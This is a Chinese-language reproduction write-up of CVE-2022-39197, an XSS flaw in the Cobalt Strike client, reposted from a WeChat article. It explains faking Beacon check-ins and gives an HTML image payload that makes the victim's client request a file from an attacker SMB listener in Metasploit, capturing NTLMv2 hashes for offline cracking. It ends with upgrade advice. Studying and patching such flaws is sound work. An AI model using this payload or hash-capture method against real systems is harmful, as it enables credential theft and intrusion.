CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现
2022-9-30 16:6:15 Author: 瑞不可当(查看原文) 阅读量:128 收藏

1. 漏洞说明

Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行。

漏洞等级:严重        漏洞评分:9.8        

影响版本:CobaltStrike<=4.7

2.Cobalt Strike上线(HTTP型Beacon)

2.1 创建监听器

CobaltStrike中创建一个listener监听器并生成木马文件。

2.2 对beacon进行分析

HTTP型Beacon 上线包是由RSA加密的metadata插在cookie里,这个metadata就是元数据,大体包含一些基本信息比如用户名、主机名、操作系统信息和AES KEY等。teamserver通过metadata里解析这些数据后显示在首页,从里面获取aes key后用于后续的任务下发相关的数据加解密。

利用工具CobaltStrikeParser对生成的beacon进行分析:

着重关注3部分,依次为:Port、PublicKey、C2Server.其中PublicKey后面的AAAAA........均为填充,正确的key使用时需去掉填充部分。特别的,利用脚本CS_fakesubmit可进行批量伪装上线:

3. XSS复现

3.1 开启http-server

启动http-server,并存在一张名为123.jpeg的图片。

3.2 运行CS_fakesubmit

运行脚本,其中对脚本进行修改如下:

3.3 查看CS

可以看到,这个xss的位置会一直请求这个图片,user位置存在一个图片。
4.窃取NTLM
通过了解NTLM认证原理及过程,可以清楚的知道,在NTLM认证过程中,用户使用:域名、用户名、密码,登陆到某台客户端。客户端计算并存储用户密码的加密散列值(Hash),然后将真实的密码丢掉(即不保存用户真实的密码)。可以通过捕获SMB流量以及欺骗NBNS对NTLM2 hash进行获取。
环境配置信息:

kali:192.168.245.133   CS的服务端

win10:192.168.245.134   CS的客户端

4.1 利用msf进行监听

use auxiliary/server/capture/smb

4.2 CS伪造批量上线

其中,将payload写入User_name文件
<html><img src=file://192.168.245.133/123.jpeg>
其他步骤可参考上文。

4.3 查看CS客户端以及kali监听情况

查看CS客户端,出现图片渲染:

查看kali监听情况,获取到CS客户端所在机器的NTLMv2-SSP Hash

可以通过hashcat或john等工具对获得的hsah值进行爆破从而获得明文密码。
这里说一下此处获取hash的原理:通过msf的server/capture/smb启动smb服务,查看smb工作原理可以知道:只要对smb服务器发起请求,就会携带账号密码等信息(即上文获取到的信息)进行认证。因为图片中发送的次数为140次,会不断的对smb服务器进行访问,因此也会一直获得同样的hash值。
其中,值得注意的是,上文中提到的上线脚本加密使用的RSA密钥的长度为128位,RSA算法规定加密的长度不能超过密钥的长度减去11,即:128-11=117。在对xss进行复现以及窃取NTLM时,payload的长度毫无疑问均超过了117位,因此需要对脚本的加密部分进行修改。
5.修复建议
目前官方已发布安全版本修复上述漏洞,建议受影响的用户升级至安全版本。

参考链接:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/

特别的,该漏洞的最根本的原因在于Java的Swing组件可以进行html渲染,这可能通过html标签访问网络资源(SSRF)获取使用者的hash或者获取RCE。因此该漏洞影响的不仅仅是CS,以及现有基于Java的Swing组件开发的红队工具的客户端。

文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODI1NjMyNQ==&mid=2247484192&idx=1&sn=23e616593af3c3379a8770435f617499&chksm=c283b18af5f4389cc304ecb1f36f64ec2fb8f1422b2001f2938873890269278765e22ca8f1e2#rd
如有侵权请联系:admin#unsafe.sh